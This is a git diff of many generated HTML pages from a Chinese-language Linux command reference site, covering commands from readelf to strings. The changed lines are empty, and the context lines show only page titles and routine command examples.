命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -171,7 +171,7 @@ stty echo - - + + \ No newline at end of file diff --git a/c/readelf.html b/c/readelf.html index 54db16b509..b679e7dbf7 100644 --- a/c/readelf.html +++ b/c/readelf.html @@ -10,7 +10,7 @@ readelf 命令,Linux readelf 命令详解:用于显示elf格式文件的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -576,7 +576,7 @@ Key to Flags: - - + + \ No newline at end of file diff --git a/c/readonly.html b/c/readonly.html index 74b46fc8ae..b05be6090e 100644 --- a/c/readonly.html +++ b/c/readonly.html @@ -10,7 +10,7 @@ readonly 命令,Linux readonly 命令详解:标记shell变量或函数为只读 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -138,7 +138,7 @@ value(可选):变量的值 - - + + \ No newline at end of file diff --git a/c/reboot.html b/c/reboot.html index 52827f4310..68a25d5d82 100644 --- a/c/reboot.html +++ b/c/reboot.html @@ -10,7 +10,7 @@ reboot 命令,Linux reboot 命令详解:重新启动正在运行的Linux操作系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/reject.html b/c/reject.html index 4d1c1d6db3..8c51d9c3db 100644 --- a/c/reject.html +++ b/c/reject.html @@ -10,7 +10,7 @@ reject 命令,Linux reject 命令详解:指示打印系统拒绝发往指定目标打印机的打印任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/rename.html b/c/rename.html index 94e027b3e1..08edd25424 100644 --- a/c/rename.html +++ b/c/rename.html @@ -10,7 +10,7 @@ rename 命令,Linux rename 命令详解:用字符串替换的方式批量改变文件名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -184,7 +184,7 @@ rename,来自 util-linux 2.23.2 - - + + \ No newline at end of file diff --git a/c/renice.html b/c/renice.html index 3a597430c3..efc3896e41 100644 --- a/c/renice.html +++ b/c/renice.html @@ -10,7 +10,7 @@ renice 命令,Linux renice 命令详解:修改正在运行的进程的调度优先级 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/repquota.html b/c/repquota.html index cb40173809..8de2388f30 100644 --- a/c/repquota.html +++ b/c/repquota.html @@ -10,7 +10,7 @@ repquota 命令,Linux repquota 命令详解:报表的格式输出磁盘空间限制的状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/resize.html b/c/resize.html index f84213f2f5..203c6ee121 100644 --- a/c/resize.html +++ b/c/resize.html @@ -10,7 +10,7 @@ resize 命令,Linux resize 命令详解:命令设置终端机视窗的大小 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ setenv LINES - - + + \ No newline at end of file diff --git a/c/restore.html b/c/restore.html index f86a35e6ef..f06373eeea 100644 --- a/c/restore.html +++ b/c/restore.html @@ -10,7 +10,7 @@ restore 命令,Linux restore 命令详解:所进行的操作和dump指令相反 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ - - + + \ No newline at end of file diff --git a/c/restorecon.html b/c/restorecon.html index 6d30eedbc2..0e86173683 100644 --- a/c/restorecon.html +++ b/c/restorecon.html @@ -10,7 +10,7 @@ restorecon 命令,Linux restorecon 命令详解:恢复文件的安全上下文 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -116,7 +116,7 @@ welcome to www.jsdig.com - - + + \ No newline at end of file diff --git a/c/return.html b/c/return.html index 5458b5f7e3..9aebc5e4a5 100644 --- a/c/return.html +++ b/c/return.html @@ -10,7 +10,7 @@ return 命令,Linux return 命令详解:从函数中退出并返回数值。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ example - - + + \ No newline at end of file diff --git a/c/rev.html b/c/rev.html index 7d326d240c..0986746898 100644 --- a/c/rev.html +++ b/c/rev.html @@ -10,7 +10,7 @@ rev 命令,Linux rev 命令详解:将文件内容以字符为单位反序输出 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -103,7 +103,7 @@ TIMMOC - - + + \ No newline at end of file diff --git a/c/rexec.html b/c/rexec.html index b0c57f7d52..2a595c8fbf 100644 --- a/c/rexec.html +++ b/c/rexec.html @@ -10,7 +10,7 @@ rexec 命令,Linux rexec 命令详解:远程执行Linux系统下命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ - - + + \ No newline at end of file diff --git a/c/rlogin.html b/c/rlogin.html index 01e68427b4..f6f295c993 100644 --- a/c/rlogin.html +++ b/c/rlogin.html @@ -10,7 +10,7 @@ rlogin 命令,Linux rlogin 命令详解:从当前终端登录到远程Linux主机 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/rm.html b/c/rm.html index ca291533c7..ae3fa53ef5 100644 --- a/c/rm.html +++ b/c/rm.html @@ -10,7 +10,7 @@ rm 命令,Linux rm 命令详解:用于删除给定的文件和目录 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -138,7 +138,7 @@ Remove example ?y(删除文件example) - - + + \ No newline at end of file diff --git a/c/rmdir.html b/c/rmdir.html index 15ccfe2c37..b681fa28a7 100644 --- a/c/rmdir.html +++ b/c/rmdir.html @@ -10,7 +10,7 @@ rmdir 命令,Linux rmdir 命令详解:用来删除空目录 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/rmmod.html b/c/rmmod.html index 7298bfa889..af2e6e7d3b 100644 --- a/c/rmmod.html +++ b/c/rmmod.html @@ -10,7 +10,7 @@ rmmod 命令,Linux rmmod 命令详解:从运行的内核中移除指定的内核模块 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ raid1 25153 - - + + \ No newline at end of file diff --git a/c/route.html b/c/route.html index 54c4cc0a9b..bfc738820c 100644 --- a/c/route.html +++ b/c/route.html @@ -10,7 +10,7 @@ route 命令,Linux route 命令详解:显示并设置Linux中静态路由表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -135,7 +135,7 @@ route add default gw - - + + \ No newline at end of file diff --git a/c/rpm.html b/c/rpm.html index fddca5c780..6a7af8c383 100644 --- a/c/rpm.html +++ b/c/rpm.html @@ -10,7 +10,7 @@ rpm 命令,Linux rpm 命令详解:RPM软件包的管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -219,7 +219,7 @@ rpm2cpio | cpio -idv - - + + \ No newline at end of file diff --git a/c/rpm2cpio.html b/c/rpm2cpio.html index 5ed4d5a517..6464d1d4eb 100644 --- a/c/rpm2cpio.html +++ b/c/rpm2cpio.html @@ -10,7 +10,7 @@ rpm2cpio 命令,Linux rpm2cpio 命令详解:将RPM软件包转换为cpio格式的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/rpmbuild.html b/c/rpmbuild.html index 3f8dd35a57..5481c31478 100644 --- a/c/rpmbuild.html +++ b/c/rpmbuild.html @@ -10,7 +10,7 @@ rpmbuild 命令,Linux rpmbuild 命令详解:创建RPM的二进制软件包和源码软件包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/rpmdb.html b/c/rpmdb.html index 4f8a33d6be..485fc56674 100644 --- a/c/rpmdb.html +++ b/c/rpmdb.html @@ -10,7 +10,7 @@ rpmdb 命令,Linux rpmdb 命令详解:初始化和重建RPM数据库 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -74,7 +74,7 @@ - - + + \ No newline at end of file diff --git a/c/rpmquery.html b/c/rpmquery.html index 9db7ddade6..c38b02bb96 100644 --- a/c/rpmquery.html +++ b/c/rpmquery.html @@ -10,7 +10,7 @@ rpmquery 命令,Linux rpmquery 命令详解:从RPM数据库中查询软件包信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ httpd-2.2.3-81.el5.centos - - + + \ No newline at end of file diff --git a/c/rpmsign.html b/c/rpmsign.html index e2fec81a3d..b5398112a9 100644 --- a/c/rpmsign.html +++ b/c/rpmsign.html @@ -10,7 +10,7 @@ rpmsign 命令,Linux rpmsign 命令详解:使用RPM软件包的签名管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/rpmverify.html b/c/rpmverify.html index 92e4897da7..62eef49139 100644 --- a/c/rpmverify.html +++ b/c/rpmverify.html @@ -10,7 +10,7 @@ rpmverify 命令,Linux rpmverify 命令详解:验证已安装的RPM软件包的正确性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/rsh.html b/c/rsh.html index 85f8523322..f80a6087f3 100644 --- a/c/rsh.html +++ b/c/rsh.html @@ -10,7 +10,7 @@ rsh 命令,Linux rsh 命令详解:连接远程主机并执行命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/rsync.html b/c/rsync.html index 5197aa4c3d..985706df8c 100644 --- a/c/rsync.html +++ b/c/rsync.html @@ -10,7 +10,7 @@ rsync 命令,Linux rsync 命令详解:远程数据同步工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -300,7 +300,7 @@ $ rsync -av --exclude - - + + \ No newline at end of file diff --git a/c/runlevel.html b/c/runlevel.html index b34ffd0396..95c557784e 100644 --- a/c/runlevel.html +++ b/c/runlevel.html @@ -10,7 +10,7 @@ runlevel 命令,Linux runlevel 命令详解:打印当前Linux系统的运行等级 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ S s Single user mode - - + + \ No newline at end of file diff --git a/c/sar.html b/c/sar.html index 61f27a2bef..1801abce24 100644 --- a/c/sar.html +++ b/c/sar.html @@ -10,7 +10,7 @@ sar 命令,Linux sar 命令详解:系统运行状态统计工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -111,7 +111,7 @@ Average: 324346 - - + + \ No newline at end of file diff --git a/c/scp.html b/c/scp.html index 5223ffe9ec..689c842cd3 100644 --- a/c/scp.html +++ b/c/scp.html @@ -10,7 +10,7 @@ scp 命令,Linux scp 命令详解:加密的方式在本地主机和远程主机之间复制文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -115,7 +115,7 @@ - - + + \ No newline at end of file diff --git a/c/screen.html b/c/screen.html index a4d2c5dccb..fc59ab3d0f 100644 --- a/c/screen.html +++ b/c/screen.html @@ -10,7 +10,7 @@ screen 命令,Linux screen 命令详解:用于命令行终端切换 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -201,7 +201,7 @@ There are screens on: - - + + \ No newline at end of file diff --git a/c/script.html b/c/script.html index cfcbeb7012..743549244e 100644 --- a/c/script.html +++ b/c/script.html @@ -10,7 +10,7 @@ script 命令,Linux script 命令详解:记录终端会话的所有操作 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -151,7 +151,7 @@ zfb@localhost:~$ - - + + \ No newline at end of file diff --git a/c/scriptreplay.html b/c/scriptreplay.html index f25f5a8b2b..6331c9a800 100644 --- a/c/scriptreplay.html +++ b/c/scriptreplay.html @@ -10,7 +10,7 @@ scriptreplay 命令,Linux scriptreplay 命令详解:重新播放终端会话的所有操作 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -133,7 +133,7 @@ zfb@localhost:~$ - - + + \ No newline at end of file diff --git a/c/sed.html b/c/sed.html index 024489fdfb..9d8f61a60c 100644 --- a/c/sed.html +++ b/c/sed.html @@ -10,7 +10,7 @@ sed 命令,Linux sed 命令详解:功能强大的流式文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -293,7 +293,7 @@ HELLO WORLD - - + + \ No newline at end of file diff --git a/c/seinfo.html b/c/seinfo.html index 428650ebf2..d4df716aaa 100644 --- a/c/seinfo.html +++ b/c/seinfo.html @@ -10,7 +10,7 @@ seinfo 命令,Linux seinfo 命令详解:查询SELinux的策略提供多少相关规则 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/semanage.html b/c/semanage.html index 9142e7575a..7b9704a0e4 100644 --- a/c/semanage.html +++ b/c/semanage.html @@ -10,7 +10,7 @@ semanage 命令,Linux semanage 命令详解:默认目录的安全上下文查询与修改 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -116,7 +116,7 @@ drwxr-xr-x root root system_u:object_r:public_content_t /srv/samba/ - - + + \ No newline at end of file diff --git a/c/sendmail.html b/c/sendmail.html index 87d6e6b2c3..e89bc2b220 100644 --- a/c/sendmail.html +++ b/c/sendmail.html @@ -10,7 +10,7 @@ sendmail 命令,Linux sendmail 命令详解:著名电子邮件服务器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ - - + + \ No newline at end of file diff --git a/c/seq.html b/c/seq.html index e4e7e034fa..bf84bd2d0f 100644 --- a/c/seq.html +++ b/c/seq.html @@ -10,7 +10,7 @@ seq 命令,Linux seq 命令详解:以指定增量从首数开始打印数字到尾数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -112,7 +112,7 @@ str009 str010 str011 - - + + \ No newline at end of file diff --git a/c/service.html b/c/service.html index f100ad324c..d44ff1b775 100644 --- a/c/service.html +++ b/c/service.html @@ -10,7 +10,7 @@ service 命令,Linux service 命令详解:控制系统服务的实用工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -102,7 +102,7 @@ mysqld (pid 16 - - + + \ No newline at end of file diff --git a/c/sesearch.html b/c/sesearch.html index c6daa306e2..83e7adec6e 100644 --- a/c/sesearch.html +++ b/c/sesearch.html @@ -10,7 +10,7 @@ sesearch 命令,Linux sesearch 命令详解:查询SELinux策略的规则详情 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/set.html b/c/set.html index a2bb2d0893..a8be09abfc 100644 --- a/c/set.html +++ b/c/set.html @@ -10,7 +10,7 @@ set 命令,Linux set 命令详解:显示或设置shell特性及shell变量 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -103,7 +103,7 @@ - - + + \ No newline at end of file diff --git a/c/setfacl.html b/c/setfacl.html index 3a542a5642..b94df5f4f6 100644 --- a/c/setfacl.html +++ b/c/setfacl.html @@ -10,7 +10,7 @@ setfacl 命令,Linux setfacl 命令详解:设置文件访问控制列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -252,7 +252,7 @@ other::r-- - - + + \ No newline at end of file diff --git a/c/setpci.html b/c/setpci.html index a45e98df3a..6cc4998fde 100644 --- a/c/setpci.html +++ b/c/setpci.html @@ -10,7 +10,7 @@ setpci 命令,Linux setpci 命令详解:查询和配置PCI设备的使用工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ - - + + \ No newline at end of file diff --git a/c/setsebool.html b/c/setsebool.html index 4a7118abed..3391d5ffb5 100644 --- a/c/setsebool.html +++ b/c/setsebool.html @@ -10,7 +10,7 @@ setsebool 命令,Linux setsebool 命令详解:修改SElinux策略内各项规则的布尔值 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -141,7 +141,7 @@ chcon -R -t httpd_sys_content_t ~user/public_html - - + + \ No newline at end of file diff --git a/c/setsid.html b/c/setsid.html index e36c1da8f4..67958dcb15 100644 --- a/c/setsid.html +++ b/c/setsid.html @@ -10,7 +10,7 @@ setsid 命令,Linux setsid 命令详解:在新的会话中运行程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ root 31102 29217 - - + + \ No newline at end of file diff --git a/c/sftp-server.html b/c/sftp-server.html index 6e8b241119..32e683be2f 100644 --- a/c/sftp-server.html +++ b/c/sftp-server.html @@ -10,7 +10,7 @@ sftp-server 命令,Linux sftp-server 命令详解:sftp协议的服务器端程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -70,7 +70,7 @@ - - + + \ No newline at end of file diff --git a/c/sftp.html b/c/sftp.html index ce3a9451fe..ba7e5e94d9 100644 --- a/c/sftp.html +++ b/c/sftp.html @@ -10,7 +10,7 @@ sftp 命令,Linux sftp 命令详解:交互式的文件传输程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ Uploading /Users/my/Downloads/re-produce.gif to /export/sftp/re-produce.gif - - + + \ No newline at end of file diff --git a/c/sh.html b/c/sh.html index d9519025a0..53757bfc81 100644 --- a/c/sh.html +++ b/c/sh.html @@ -10,7 +10,7 @@ sh 命令,Linux sh 命令详解:shell命令解释器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,7 +108,7 @@ - - + + \ No newline at end of file diff --git a/c/shift.html b/c/shift.html index c91c6adced..e6e4d0f4d8 100644 --- a/c/shift.html +++ b/c/shift.html @@ -10,7 +10,7 @@ shift 命令,Linux shift 命令详解:移动位置参数。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ e r t - - + + \ No newline at end of file diff --git a/c/shopt.html b/c/shopt.html index 6063e6c625..6bbcf43bd8 100644 --- a/c/shopt.html +++ b/c/shopt.html @@ -10,7 +10,7 @@ shopt 命令,Linux shopt 命令详解:显示和设置shell操作选项 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -97,7 +97,7 @@ extdebug off - - + + \ No newline at end of file diff --git a/c/showmount.html b/c/showmount.html index b0eab3ab1e..f66d8c6bad 100644 --- a/c/showmount.html +++ b/c/showmount.html @@ -10,7 +10,7 @@ showmount 命令,Linux showmount 命令详解:显示NFS服务器加载的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/shuf.html b/c/shuf.html index 4a4c32aba3..f5847d04db 100644 --- a/c/shuf.html +++ b/c/shuf.html @@ -10,7 +10,7 @@ shuf 命令,Linux shuf 命令详解:产生随机的排列。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -119,7 +119,7 @@ - - + + \ No newline at end of file diff --git a/c/shutdown.html b/c/shutdown.html index 24217ed44c..b198ba24d9 100644 --- a/c/shutdown.html +++ b/c/shutdown.html @@ -10,7 +10,7 @@ shutdown 命令,Linux shutdown 命令详解:用来执行系统关机的命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ - - + + \ No newline at end of file diff --git a/c/skill.html b/c/skill.html index f05112a317..74332a7b8c 100644 --- a/c/skill.html +++ b/c/skill.html @@ -10,7 +10,7 @@ skill 命令,Linux skill 命令详解:向选定的进程发送信号冻结进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -143,7 +143,7 @@ Swap: 2041192k av, 83152k used, 1958040k free - - + + \ No newline at end of file diff --git a/c/slabtop.html b/c/slabtop.html index 57225c3255..dec070e1e6 100644 --- a/c/slabtop.html +++ b/c/slabtop.html @@ -10,7 +10,7 @@ slabtop 命令,Linux slabtop 命令详解:实时显示内核slab内存缓存信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -137,7 +137,7 @@ - - + + \ No newline at end of file diff --git a/c/sleep.html b/c/sleep.html index 5b22a4c59b..a9782fc59e 100644 --- a/c/sleep.html +++ b/c/sleep.html @@ -10,7 +10,7 @@ sleep 命令,Linux sleep 命令详解:将目前动作延迟一段时间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/slocate.html b/c/slocate.html index 12756176c5..51779f2827 100644 --- a/c/slocate.html +++ b/c/slocate.html @@ -10,7 +10,7 @@ slocate 命令,Linux slocate 命令详解:命令查找文件或目录 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -90,7 +90,7 @@ - - + + \ No newline at end of file diff --git a/c/smbclient.html b/c/smbclient.html index 593dc3f74a..4f4f383060 100644 --- a/c/smbclient.html +++ b/c/smbclient.html @@ -10,7 +10,7 @@ smbclient 命令,Linux smbclient 命令详解:交互方式访问samba服务器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -114,7 +114,7 @@ smb:/>ls - - + + \ No newline at end of file diff --git a/c/smbpasswd.html b/c/smbpasswd.html index b39336a317..70e5c98813 100644 --- a/c/smbpasswd.html +++ b/c/smbpasswd.html @@ -10,7 +10,7 @@ smbpasswd 命令,Linux smbpasswd 命令详解:samba用户和密码管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/sort.html b/c/sort.html index ff4678ce12..493206aaa1 100644 --- a/c/sort.html +++ b/c/sort.html @@ -10,7 +10,7 @@ sort 命令,Linux sort 命令详解:对文本文件中所有行进行排序。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -239,7 +239,7 @@ guge 50 3000 - - + + \ No newline at end of file diff --git a/c/source.html b/c/source.html index 55c5a73398..7f0500ec21 100644 --- a/c/source.html +++ b/c/source.html @@ -10,7 +10,7 @@ source 命令,Linux source 命令详解:在当前Shell环境中从指定文件读取和执行命令。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -104,7 +104,7 @@ - - + + \ No newline at end of file diff --git a/c/speedtest-cli.html b/c/speedtest-cli.html index 3c1d50eb92..d7ffa0e680 100644 --- a/c/speedtest-cli.html +++ b/c/speedtest-cli.html @@ -10,7 +10,7 @@ speedtest-cli 命令,Linux speedtest-cli 命令详解:命令行下测试服务器外网速度 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -142,7 +142,7 @@ Share results: http://www.speedtest.net/result/3240988007.png - - + + \ No newline at end of file diff --git a/c/spell.html b/c/spell.html index 79b40f3ed0..307bd3d4c3 100644 --- a/c/spell.html +++ b/c/spell.html @@ -10,7 +10,7 @@ spell 命令,Linux spell 命令详解:对文件进行拼写检查 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/split.html b/c/split.html index 98b0667d88..31eabe4ad0 100644 --- a/c/split.html +++ b/c/split.html @@ -10,7 +10,7 @@ split 命令,Linux split 命令详解:分割任意大小的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -99,7 +99,7 @@ date.file split_file000 split_file001 split_file002 split_file003 split_fil - - + + \ No newline at end of file diff --git a/c/squid.html b/c/squid.html index 68e3d9a0f6..e525518d8d 100644 --- a/c/squid.html +++ b/c/squid.html @@ -10,7 +10,7 @@ squid 命令,Linux squid 命令详解:squid服务器守护进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/squidclient.html b/c/squidclient.html index 97a088d1c4..b4bdfff54c 100644 --- a/c/squidclient.html +++ b/c/squidclient.html @@ -10,7 +10,7 @@ squidclient 命令,Linux squidclient 命令详解:squid服务器的客户端管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/ss.html b/c/ss.html index 0bbff37e55..d8b613a111 100644 --- a/c/ss.html +++ b/c/ss.html @@ -10,7 +10,7 @@ ss 命令,Linux ss 命令详解:比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -230,7 +230,7 @@ TIME-WAIT 28 - - + + \ No newline at end of file diff --git a/c/ssh-add.html b/c/ssh-add.html index 413d6fc35d..26a5e33bb1 100644 --- a/c/ssh-add.html +++ b/c/ssh-add.html @@ -10,7 +10,7 @@ ssh-add 命令,Linux ssh-add 命令详解:把专用密钥添加到ssh-agent的高速缓存中 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ ssh-add -e pkcs11 - - + + \ No newline at end of file diff --git a/c/ssh-agent.html b/c/ssh-agent.html index 883e71d352..15026aa028 100644 --- a/c/ssh-agent.html +++ b/c/ssh-agent.html @@ -10,7 +10,7 @@ ssh-agent 命令,Linux ssh-agent 命令详解:ssh密钥管理器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ ssh-agent [-c - - + + \ No newline at end of file diff --git a/c/ssh-copy-id.html b/c/ssh-copy-id.html index 896b61dadb..7e72e63084 100644 --- a/c/ssh-copy-id.html +++ b/c/ssh-copy-id.html @@ -10,7 +10,7 @@ ssh-copy-id 命令,Linux ssh-copy-id 命令详解:把本地的ssh公钥文件安装到远程主机对应的账户下 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ ssh-copy-id -i ~/.ssh/id_rsa.pub user@server - - + + \ No newline at end of file diff --git a/c/ssh-keygen.html b/c/ssh-keygen.html index d5c517e7db..04ebaa305b 100644 --- a/c/ssh-keygen.html +++ b/c/ssh-keygen.html @@ -10,7 +10,7 @@ ssh-keygen 命令,Linux ssh-keygen 命令详解:为ssh生成、管理和转换认证密钥 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/ssh-keyscan.html b/c/ssh-keyscan.html index fcaba56675..5f2a3b40ab 100644 --- a/c/ssh-keyscan.html +++ b/c/ssh-keyscan.html @@ -10,7 +10,7 @@ ssh-keyscan 命令,Linux ssh-keyscan 命令详解:收集主机公钥的使用工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/ssh.html b/c/ssh.html index 75921d37d7..872df6fae2 100644 --- a/c/ssh.html +++ b/c/ssh.html @@ -10,7 +10,7 @@ ssh 命令,Linux ssh 命令详解:openssh套件中的客户端连接工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -176,7 +176,7 @@ iptables -A OUTPUT -p tcp --sport 22 -m conntr - - + + \ No newline at end of file diff --git a/c/sshd.html b/c/sshd.html index 297dc97b11..4d4c502273 100644 --- a/c/sshd.html +++ b/c/sshd.html @@ -10,7 +10,7 @@ sshd 命令,Linux sshd 命令详解:openssh软件套件中的服务器守护进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/startx.html b/c/startx.html index 3a6d19a1b1..d369d72d58 100644 --- a/c/startx.html +++ b/c/startx.html @@ -10,7 +10,7 @@ startx 命令,Linux startx 命令详解:用来启动X Window - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -120,7 +120,7 @@ - - + + \ No newline at end of file diff --git a/c/stat.html b/c/stat.html index d177982910..fe6cccf552 100644 --- a/c/stat.html +++ b/c/stat.html @@ -10,7 +10,7 @@ stat 命令,Linux stat 命令详解:用于显示文件的状态信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -102,7 +102,7 @@ myfile 0 8 8 - - + + \ No newline at end of file diff --git a/c/strace.html b/c/strace.html index 382cf8743c..15e851a7d3 100644 --- a/c/strace.html +++ b/c/strace.html @@ -10,7 +10,7 @@ strace 命令,Linux strace 命令详解:跟踪系统调用和信号 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -338,7 +338,7 @@ lrwx------ 1 oracle dba - - + + \ No newline at end of file diff --git a/c/strings.html b/c/strings.html index 7baab9e20d..340f16207c 100644 --- a/c/strings.html +++ b/c/strings.html @@ -10,7 +10,7 @@ strings 命令,Linux strings 